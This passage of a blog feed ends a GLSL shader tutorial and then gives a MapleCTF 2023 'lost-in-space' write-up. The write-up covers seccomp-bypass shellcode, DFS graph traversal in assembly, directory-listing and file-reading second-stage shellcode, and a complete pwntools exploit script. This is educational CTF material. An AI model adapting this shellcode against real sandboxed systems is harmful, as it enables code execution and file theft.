  <canvas class="shader-embed__canvas" aria-label="Smoothstep ring example"></canvas>
  <div class="shader-embed__status" aria-live="polite"></div>
  <script type="x-shader/x-fragment" class="shader-embed__source">float sdf_circle(vec2 coordinate, vec2 center, float radius){
    return length(coordinate - center) - radius;
}

void mainImage(out vec4 fragColor, in vec2 fragCoord)
{
    vec2 uv = (2.0 * fragCoord - iResolution.xy) / iResolution.y;

    vec2 center = vec2(0.0, 0.0);
    float dist = sdf_circle(uv, center, 0.5);
    vec3 col = 1.0 - vec3(smoothstep(0.0, 0.05, abs(dist)));

    fragColor = vec4(col, 1.0);
}</script>
</div>

<div class="accordion mb-2" id="shader_example_3">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-shader_example_3">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#shader_example_3-content" aria-expanded="true" aria-controls="shader_example_3-content">
         <p>Show shader code</p>
 
      </button>
    </p>
    <div id="shader_example_3-content" class="accordion-collapse collapse" aria-labelledby="hd-shader_example_3" data-bs-parent="#shader_example_3">
      <div class="accordion-body pb-0">
          
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="rouge-code"><pre><span class="nx">float</span> <span class="nx">sdf_circle</span><span class="p">(</span><span class="nx">vec2</span> <span class="nx">coordinate</span><span class="p">,</span> <span class="nx">vec2</span> <span class="nx">center</span><span class="p">,</span> <span class="nx">float</span> <span class="nx">radius</span><span class="p">){</span>
    <span class="k">return</span> <span class="nx">length</span><span class="p">(</span><span class="nx">coordinate</span> <span class="o">-</span> <span class="nx">center</span><span class="p">)</span> <span class="o">-</span> <span class="nx">radius</span><span class="p">;</span>
<span class="p">}</span>


<span class="k">void</span> <span class="nx">mainImage</span><span class="p">(</span> <span class="nx">out</span> <span class="nx">vec4</span> <span class="nx">fragColor</span><span class="p">,</span> <span class="k">in</span> <span class="nx">vec2</span> <span class="nx">fragCoord</span> <span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// Normalized pixel coordinates (from -1 to 1 on the y axis)</span>
    <span class="nx">vec2</span> <span class="nx">uv</span> <span class="o">=</span> <span class="p">(</span><span class="mi">2</span><span class="p">.</span><span class="o">*</span><span class="nx">fragCoord</span> <span class="o">-</span> <span class="nx">iResolution</span><span class="p">.</span><span class="nx">xy</span><span class="p">)</span> <span class="o">/</span> <span class="nx">iResolution</span><span class="p">.</span><span class="nx">y</span> <span class="p">;</span>

    <span class="c1">// draw a circle center at (0, 0) with radius of 0.5</span>
    <span class="nx">vec2</span> <span class="nx">center</span> <span class="o">=</span> <span class="nx">vec2</span><span class="p">(</span><span class="mi">0</span><span class="p">.,</span> <span class="mi">0</span><span class="p">.);</span>
    <span class="nx">float</span> <span class="nx">dist</span> <span class="o">=</span> <span class="nx">sdf_circle</span><span class="p">(</span><span class="nx">uv</span><span class="p">,</span> <span class="nx">center</span><span class="p">,</span> <span class="p">.</span><span class="mi">5</span><span class="p">);</span>
    <span class="nx">vec3</span> <span class="nx">col</span> <span class="o">=</span> <span class="mi">1</span><span class="p">.</span> <span class="o">-</span> <span class="nx">vec3</span><span class="p">(</span><span class="nx">smoothstep</span><span class="p">(</span><span class="mi">0</span><span class="p">.,</span> <span class="mf">0.05</span><span class="p">,</span> <span class="nx">abs</span><span class="p">(</span><span class="nx">dist</span><span class="p">)));</span>

    <span class="c1">// Output to screen</span>
    <span class="nx">fragColor</span> <span class="o">=</span> <span class="nx">vec4</span><span class="p">(</span><span class="nx">col</span><span class="p">,</span><span class="mf">1.0</span><span class="p">);</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>
 
      </div>
    </div>
  </div>
</div>

<h2 id="conclusion">Conclusion</h2>
<p>Now with the power of math and shader magic, we draw a circle! How exciting right? We’ll start getting into more complex parts of shaders starting with the next part of this series. I’m hoping that this tutorial helps kick start the motivation in shader, and overcome the hard part of getting into this rather foreign form of programming.</p>

<p>Next part: Coming soon…</p>]]></content><author><name>Bo-Shiun Yen</name></author><category term="Graphics" /><category term="Shaders" /><summary type="html"><![CDATA[Introduction Over the past few weeks, I have gained interest in shader. I love how complicated patterns can be created from simple, concise code. I was watching YouTube mindlessly and found several wonderful tutorials that taught me the basics of shader, and that’s how I got started. I’ll link those tutorials along the way and at the end of this article.]]></summary></entry><entry><title type="html">MapleCTF 2023 - lost-in-space</title><link href="http://blog.bronson113.org/2023/10/03/maplectf-2023-lost-in-space.html" rel="alternate" type="text/html" title="MapleCTF 2023 - lost-in-space" /><published>2023-10-03T00:00:00+00:00</published><updated>2023-10-03T00:00:00+00:00</updated><id>http://blog.bronson113.org/2023/10/03/maplectf-2023-lost-in-space</id><content type="html" xml:base="http://blog.bronson113.org/2023/10/03/maplectf-2023-lost-in-space.html"><![CDATA[<p>This year I participated with <code class="language-plaintext highlighter-rouge">${CyStick}</code> in MapleCTF. This post is the writeup to one of the challenges - lost-in-space. This challenge resembles the segfault labyrinth challenge from Google CTF 2022 but with more restrictions.
<!--more--></p>

<h1 id="challenge-description">Challenge Description</h1>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>Can you find your way to safety?

Author: xal

`nc lost-in-space.ctf.maplebacon.org 1337`

Solves: 11 solves
</pre></td></tr></tbody></table></code></pre></div></div>

<h1 id="inspection">Inspection</h1>
<hr />
<p>We are given the challenge binary, which is quite small (only 4199 bytes). Something weird happens when I try to dump the instructions using objdump.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>$ objdump -D lost-in-space

lost-in-space:     file format elf64-x86-64

$
</pre></td></tr></tbody></table></code></pre></div></div>

<p>After looking at the disassembly in <a href="https://cloud.binary.ninja/bn/255a9979-dc42-423d-9e1e-fed3b2bdd99e">binary ninja cloud</a> and run the binary using gdb, we can roughly map out what the binary is doing.  (PS. I’m not sure if linking to the session directly works for other people to view the same session.)</p>

<ol>
  <li>Some initialization stuff, setup random (start of main())</li>
  <li>Set up the mmap chunks (alloc_maps())</li>
  <li>Read shellcode from the user and place it in an executable chunk (read call in main())</li>
  <li>Seccomp the process so only the marked chunks can call syscall (seccomp())</li>
  <li>Execute shellcode (jump_to_shellcode_with_umap())</li>
</ol>

<p><img src="/img/maplectf2023-lost-in-space-main.png" alt="" /></p>

<p>One important structure used is the map structure, which looks like the following</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre><span class="k">struct</span> <span class="n">map</span>
<span class="p">{</span>
	<span class="kt">int32_t</span> <span class="n">can_syscall</span><span class="p">;</span>
	<span class="kt">int32_t</span> <span class="n">link_count</span><span class="p">;</span>
	<span class="k">struct</span> <span class="n">map</span><span class="o">*</span> <span class="n">links</span><span class="p">[];</span>
<span class="p">};</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>Each chunk allocated using mmap will contain this structure at the starting address. The <code class="language-plaintext highlighter-rouge">can_syscall</code> field denotes if the chunk is whitelisted by the seccomp rule, the link_count and links store the connections to the other maps.</p>

<p>In the alloc_maps function, the chunks are set up with the following steps:</p>

<ol>
  <li>
    <p>Allocate a lot of chunks:</p>

    <p>The first do-while loop will allocate 1000 chunks of size 0x1000</p>
  </li>
  <li>
    <p>Link the chunks together randomly:</p>

    <p>The second do-while loop links each chunk with the next chunk, while the third do-while loop adds additional links to the chunks to form a dense network. In total, 3500 links were created.
 This ensures that all the chunks are linked together, so the graph is always connected.</p>
  </li>
  <li>
    <p>Shuffle the links in a chunk:</p>

    <p>The shuffle links function will randomly shuffle the connections between the chunks stored in the map structure, so we can’t follow the allocation process to retrieve the target chunk easily.</p>
  </li>
  <li>
    <p>Mprotect all but two chunks, and mark the executable chunks</p>

    <p>In the last do-while loop, the loop skips chunk 1 and chunk 0xc8, and marks all other chunks to be read-only. This effectively leaves only two chunks executable.</p>
  </li>
</ol>

<p><img src="/img/maplectf2023-lost-in-space-alloc-maps.png" alt="" /></p>

<p>We can also dump the seccomp rule for some details</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre>$ seccomp-tools dump ./lost-in-space
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000008  A = instruction_pointer
 0001: 0x35 0x00 0x02 0x764cb000  if (A &lt; 0x764cb000) goto 0004
 0002: 0x25 0x01 0x00 0x764cc000  if (A &gt; 0x764cc000) goto 0004
 0003: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0004: 0x20 0x00 0x00 0x00000004  A = arch
 0005: 0x15 0x00 0x03 0xc000003e  if (A != ARCH_X86_64) goto 0009
 0006: 0x20 0x00 0x00 0x00000000  A = sys_number
 0007: 0x15 0x00 0x01 0x0000000b  if (A != munmap) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x00050001  return ERRNO(1)
 $ 
</pre></td></tr></tbody></table></code></pre></div></div>

<p>When I dump the seccomp rule, I notice that the location on line 2 and 3 changes every time. This aligns with our guess that we are only allowed to execute syscall in that marked chunk, which changes each execution. The seccomp rules are quite simple. Basically, all syscalls are blocked except munmap if it was called outside of the allowed chunk.</p>

<p>Lastly, the shellcode is called using the following snippet.</p>

<p><img src="/img/maplectf2023-lost-in-space-jmp-shellcode.png" alt="" /></p>

<p>The binary wipes out all registers before our shellcode is called, and both stack and binary are unmapped before our shellcode, so we can’t reuse values on stack or binary.</p>
<h1 id="dfs">DFS</h1>
<p>In order to traverse the graph, I opt to use depth-first search (DFS). However, since our shellcode/program is effectively limited to a single 0x1000 sized chunk, we need to take care of the memory space used. I’m too lazy to implement the whole search in assembly so I wrote the code in c and let gcc compile it for me. The shellcode is compiled from the following c source using godbolt, with <code class="language-plaintext highlighter-rouge">gcc 10.5</code> and argument <code class="language-plaintext highlighter-rouge">-Os</code> to reduce shellcode size.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
</pre></td><td class="rouge-code"><pre><span class="cp">#include</span> <span class="cpf">&lt;stdbool.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdint.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
</span>
<span class="k">struct</span> <span class="n">map</span><span class="p">{</span>
    <span class="kt">int</span> <span class="n">can_syscall</span><span class="p">;</span>
    <span class="kt">int</span> <span class="n">count</span><span class="p">;</span>
    <span class="k">struct</span> <span class="n">map</span><span class="o">*</span> <span class="n">points</span><span class="p">[];</span>
<span class="p">};</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">map</span> <span class="n">map</span><span class="p">;</span>
<span class="kt">short</span> <span class="n">vis</span><span class="p">[</span><span class="mh">0x200</span><span class="p">];</span>
<span class="kt">int</span> <span class="n">vis_count</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="kt">short</span> <span class="nf">to_index</span><span class="p">(</span><span class="n">map</span><span class="o">*</span> <span class="n">a</span><span class="p">){</span>
    <span class="k">return</span> <span class="p">(</span><span class="kt">short</span><span class="p">)((</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">a</span> <span class="o">&gt;&gt;</span> <span class="mi">31</span><span class="p">);</span>
<span class="p">}</span>

<span class="n">map</span><span class="o">*</span> <span class="nf">dfs</span><span class="p">(</span><span class="n">map</span><span class="o">*</span> <span class="n">a</span><span class="p">,</span> <span class="kt">int</span> <span class="n">depth</span><span class="p">){</span>
    <span class="k">if</span><span class="p">(</span><span class="n">a</span><span class="o">-&gt;</span><span class="n">can_syscall</span><span class="p">)</span> <span class="k">return</span> <span class="n">a</span><span class="p">;</span>
    <span class="k">if</span><span class="p">(</span><span class="n">depth</span> <span class="o">&gt;</span> <span class="mi">32</span><span class="p">)</span> <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
    <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">i</span> <span class="o">&lt;</span> <span class="n">a</span><span class="o">-&gt;</span><span class="n">count</span><span class="p">;</span><span class="n">i</span><span class="o">++</span><span class="p">){</span>
        <span class="n">map</span><span class="o">*</span> <span class="n">next_map</span> <span class="o">=</span> <span class="n">a</span><span class="o">-&gt;</span><span class="n">points</span><span class="p">[</span><span class="n">i</span><span class="p">];</span>
        <span class="kt">int</span> <span class="n">test</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">j</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="n">j</span><span class="o">&lt;</span><span class="n">vis_count</span><span class="p">;</span><span class="n">j</span><span class="o">++</span><span class="p">){</span>
            <span class="n">test</span> <span class="o">|=</span> <span class="p">(</span><span class="n">vis</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">==</span> <span class="n">to_index</span><span class="p">(</span><span class="n">next_map</span><span class="p">));</span>
        <span class="p">}</span>
        <span class="k">if</span><span class="p">(</span><span class="n">test</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="k">continue</span><span class="p">;</span>
        <span class="n">vis</span><span class="p">[</span><span class="n">vis_count</span><span class="p">]</span> <span class="o">=</span> <span class="n">to_index</span><span class="p">(</span><span class="n">next_map</span><span class="p">);</span>
        <span class="n">vis_count</span><span class="o">+=</span><span class="mi">1</span><span class="p">;</span>
        <span class="n">map</span><span class="o">*</span> <span class="n">res</span> <span class="o">=</span> <span class="n">dfs</span><span class="p">(</span><span class="n">next_map</span><span class="p">,</span> <span class="n">depth</span><span class="o">+</span><span class="mi">1</span><span class="p">);</span>
        <span class="k">if</span><span class="p">(</span><span class="n">res</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="k">return</span> <span class="n">res</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
    <span class="n">map</span><span class="o">*</span> <span class="n">a</span><span class="p">;</span>
    <span class="n">dfs</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The output of the compiler can mostly be used directly, but the vis array appears to require relocation, so I instead use a spare register to track its location. Also, the dfs depth is needed so the stack doesn’t underflow outside the limited memory space.</p>

<h1 id="solve">Solve</h1>
<p>In the shellcode I then set up the stack to start from 0x800 and grow downward, and the vis array to start from 0xa00 and grow upward. To save space for the visited chunks, I truncated the address of each chunk to only the top 16 changing bits, so we can store more value within the allotted space.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre><span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="nb">rdx</span> <span class="c1">; rdx contains the address to the middle of the chunk</span>
<span class="nf">mov</span> <span class="nb">rsp</span><span class="p">,</span> <span class="nb">rdx</span> <span class="c1">; set stack</span>
<span class="nf">mov</span> <span class="nb">rbp</span><span class="p">,</span> <span class="nb">rdx</span> <span class="c1">; set stack</span>
<span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="nb">rdx</span> 
<span class="nf">sub</span> <span class="nb">rdi</span><span class="p">,</span> <span class="mh">0x800</span> <span class="c1">; get map struct of current chunk</span>
<span class="nf">mov</span> <span class="nv">r11</span><span class="p">,</span> <span class="nb">rdx</span>
<span class="nf">add</span> <span class="nv">r11</span><span class="p">,</span> <span class="mh">0x200</span> <span class="c1">; use r11 as vis array</span>
<span class="nf">mov</span> <span class="nv">r10</span><span class="p">,</span> <span class="mi">0</span>     <span class="c1">; use r10 as vis counter</span>
<span class="nf">xor</span> <span class="nb">rsi</span><span class="p">,</span> <span class="nb">rsi</span>   <span class="c1">; argument, depth = 0</span>
<span class="nf">call</span> <span class="nv">dfs</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>When the call to dfs returns, rax should point to the executable chunk, I then write the second stage shellcode to that location.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre><span class="nf">add</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">0x800</span> <span class="c1">; executable chunk, middle</span>
<span class="nf">mov</span> <span class="nb">rbp</span><span class="p">,</span> <span class="nb">rax</span>   <span class="c1">; new stack</span>
<span class="nf">mov</span> <span class="nb">rsp</span><span class="p">,</span> <span class="nb">rax</span>

<span class="nf">mov</span> <span class="nb">rbx</span><span class="p">,</span> <span class="mh">0xdeadbeef</span> <span class="c1">; stage2 shellcode</span>
<span class="nf">mov</span> <span class="kt">QWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">rbp</span><span class="p">],</span> <span class="nb">rbx</span>

<span class="nf">mov</span> <span class="nb">rdx</span><span class="p">,</span> <span class="mi">0</span>  <span class="c1">; pre-clear registers</span>
<span class="nf">mov</span> <span class="nb">rdi</span><span class="p">,</span> <span class="mi">0</span>
<span class="nf">mov</span> <span class="nb">rsi</span><span class="p">,</span> <span class="mi">0</span>
<span class="nf">jmp</span> <span class="nb">rax</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Originally I tried to spawn a shell, but then realized that the seccomp rules will be inherited by the spawned process, so syscalls will fail as they can’t pass the seccomp filter. In the end, a simple orw shellcode is sufficient in printing out the flag. In the solve script, I used shellcraft for that. I also include the shellcode for listing files in a directory, since the flag file name isn’t given in the challenge description. Presumably, if the challenge creator wants to make this challenge more difficult, he can make the file name non-guessable, and require the attacker to list out directory contents to print the flag.</p>

<p><code class="language-plaintext highlighter-rouge">maple{its_a_small_world_when_log_N_minus_gamma_over_log_k_small}</code></p>

<h2 id="probably-intended-solution---random-walk">Probably intended solution - random walk</h2>
<p>After the solve and seeing the flag, it’s clear that a simpler approach can be taken to solve the challenge. A simple randomized algorithm can be applied to solve this challenge. Since the edges should distributed quite evenly, the graph should be highly connected. Therefore, a random walk on the graph can easily reach each node. If we repeatedly choose a random node to visit from the current node’s connection list, we form a random walk. If we repeatedly go to the next node and with a high enough walk count, we will reach the desired node since the graph is connected. I don’t know how to calculate the exact expected walk count, but it should be somewhere around O(n^3). For more information, one can maybe search up <a href="https://en.wikipedia.org/wiki/St-connectivity">st-connectivity</a> and random walk.</p>

<h1 id="appendix-a---exppy">Appendix A - exp.py</h1>

<div class="accordion mb-2" id="solve_py">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-solve_py">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#solve_py-content" aria-expanded="true" aria-controls="solve_py-content">
         <p>Show exp.py</p>
 
      </button>
    </p>
    <div id="solve_py-content" class="accordion-collapse collapse" aria-labelledby="hd-solve_py" data-bs-parent="#solve_py">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
</pre></td><td class="rouge-code"><pre><span class="c1">#!/usr/bin/python3
</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="c1"># from ctypes import CDLL
</span><span class="kn">import</span> <span class="nn">time</span>


<span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">bin_name</span> <span class="o">=</span> <span class="s">"./lost-in-space"</span>
<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">"tmux"</span><span class="p">,</span> <span class="s">"splitw"</span><span class="p">,</span> <span class="s">"-h"</span><span class="p">]</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="n">bin_name</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">connect</span><span class="p">():</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">REMOTE</span><span class="p">:</span>
        <span class="n">nc_str</span> <span class="o">=</span> <span class="s">"nc lost-in-space.ctf.maplebacon.org 1337"</span>
        <span class="n">_</span><span class="p">,</span> <span class="n">host</span><span class="p">,</span> <span class="n">port</span> <span class="o">=</span> <span class="n">nc_str</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">" "</span><span class="p">)</span>
        <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">port</span><span class="p">))</span>

    <span class="k">else</span><span class="p">:</span>
        <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">bin_name</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">GDB</span><span class="p">:</span>
            <span class="n">gdb_script</span> <span class="o">=</span> <span class="s">"""
            """</span>
            <span class="n">gdb</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">gdb_script</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">p</span>


<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="c1"># init state: rdx = rip, current location
# everything else is cleared
# r10 -&gt; vis counter
# r11 -&gt; vis array
</span>
    <span class="n">f_name</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"/ctf/"</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span>
    <span class="c1"># list /ctf/
</span>    <span class="n">stage2</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="sa">f</span><span class="s">"""
  /* push "/ctf/" */
  mov rax, </span><span class="si">{</span><span class="n">u64</span><span class="p">(</span><span class="n">f_name</span><span class="p">)</span><span class="si">}</span><span class="s">
  push rax
  /* call open("rsp", 0, 0) */
  push 2 /* (SYS_open) */
  pop rax
  mov rdi, rsp
  xor esi, esi /* 0 */
  cdq /* rdx=0 */
  syscall
  /* call getdents("rax", "rsp-0x400", 0x400) */
  mov rdi, rax
  push 0x4e /* (SYS_getdents) */
  pop rax
  mov rsi, rsp
  sub rsi, 0x400
  xor edx, edx
  mov dh, 0x400 &gt;&gt; 8
  syscall
  /* call write(1, "rsp-0x400", "rax") */
  push 1
  pop rdi
  mov rsi, rsp
  sub rsi, 0x400
  mov rdx, rax
  push 1 /* (SYS_write) */
  pop rax
  syscall
    """</span><span class="p">).</span><span class="n">ljust</span><span class="p">(</span><span class="mi">80</span><span class="p">,</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x90</span><span class="s">"</span><span class="p">)</span>

    <span class="c1"># leaked file name from ls above
</span>    <span class="n">stage2</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="n">shellcraft</span><span class="p">.</span><span class="n">amd64</span><span class="p">.</span><span class="n">linux</span><span class="p">.</span><span class="n">cat</span><span class="p">(</span><span class="s">"/ctf/flag.txt"</span><span class="p">,</span> <span class="n">fd</span><span class="o">=</span><span class="mi">1</span><span class="p">)).</span><span class="n">ljust</span><span class="p">(</span><span class="mi">128</span><span class="p">,</span> <span class="sa">b</span><span class="s">"</span><span class="se">\x90</span><span class="s">"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="n">stage2</span><span class="p">.</span><span class="nb">hex</span><span class="p">())</span>

    <span class="n">assembly</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"""

    mov rax, rdx

make_stack:

    mov rsp, rdx
    mov rbp, rdx
    mov rdi, rdx
    sub rdi, 0x800
    mov r11, rdx
    add r11, 0x200
    mov r10, 0
    xor rsi, rsi
    call dfs
    add rax, 0x800
    mov rbp, rax
    mov rsp, rax
    """</span>

    <span class="c1"># setup stage2
</span>    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">stage2</span><span class="p">),</span> <span class="mi">8</span><span class="p">):</span>
        <span class="n">assembly</span><span class="o">+=</span><span class="sa">f</span><span class="s">"""
        mov rbx, </span><span class="si">{</span><span class="n">u64</span><span class="p">(</span><span class="n">stage2</span><span class="p">[</span><span class="n">i</span><span class="si">:</span><span class="n">i</span><span class="o">+</span><span class="mi">8</span><span class="p">])</span><span class="si">}</span><span class="s">
        mov QWORD PTR [rbp+</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">], rbx
        """</span>

    <span class="c1"># jump to stage 2
</span>    <span class="n">assembly</span> <span class="o">+=</span> <span class="s">"""
    mov rdx, 0
    mov rdi, 0
    mov rsi, 0
    jmp rax
    """</span>

<span class="c1"># change output "vis" from godbolt to use r11 for tracking
# so pwntools and assemble correctly without relocation error
</span>
    <span class="n">assembly</span> <span class="o">+=</span> <span class="s">"""
to_index:
        mov     rax, rdi
        shr     rax, 31
        ret
dfs:
        cmp     DWORD PTR [rdi], 0
        mov     rax, rdi
        jne     .L15
        push    r12
        lea     r12d, [rsi+1]
        push    rbp
        xor     ebp, ebp
        push    rbx
        mov     rbx, rdi
        cmp     esi, 10
        jle     .L4
.L10:
        xor     eax, eax
        jmp     .L2
.L19:
        dec     ecx
        jne     .L7
.L8:
        inc     rbp
.L4:
        cmp     DWORD PTR [rbx+4], ebp
        jle     .L10
        mov     rdi, QWORD PTR [rbx+8+rbp*8]
        mov     eax, DWORD PTR vis_count[rip]
        xor     ecx, ecx
        xor     edx, edx
        mov     rsi, rdi
        shr     rsi, 31
        mov     r8d, esi
.L5:
        cmp     eax, edx
        jle     .L19
        xor     r9d, r9d

        push    rax
        mov     rax, r11
        add     rax, rdx
        add     rax, rdx
        cmp     WORD PTR [rax], r8w
        pop     rax

        sete    r9b
        inc     rdx
        or      ecx, r9d
        jmp     .L5
.L7:
        movsx   rdx, eax
        inc     eax

        push    rax
        mov     rax, r11
        add     rax, rdx
        add     rax, rdx
        mov     WORD PTR [rax], si
        pop     rax

        mov     esi, r12d
        mov     DWORD PTR vis_count[rip], eax
        call    dfs
        test    rax, rax
        je      .L8
.L2:
        pop     rbx
        pop     rbp
        pop     r12
        ret
.L15:
        ret
vis_count:
        .zero 4

    """</span>

    <span class="n">shellcode</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="n">assembly</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">))</span>

    <span class="n">p</span> <span class="o">=</span> <span class="n">connect</span><span class="p">()</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span>


    <span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>

<span class="c1">#maple{its_a_small_world_when_log_N_minus_gamma_over_log_k_small}
</span></pre></td></tr></tbody></table></code></pre></div></div>
 
      </div>
    </div>
  </div>
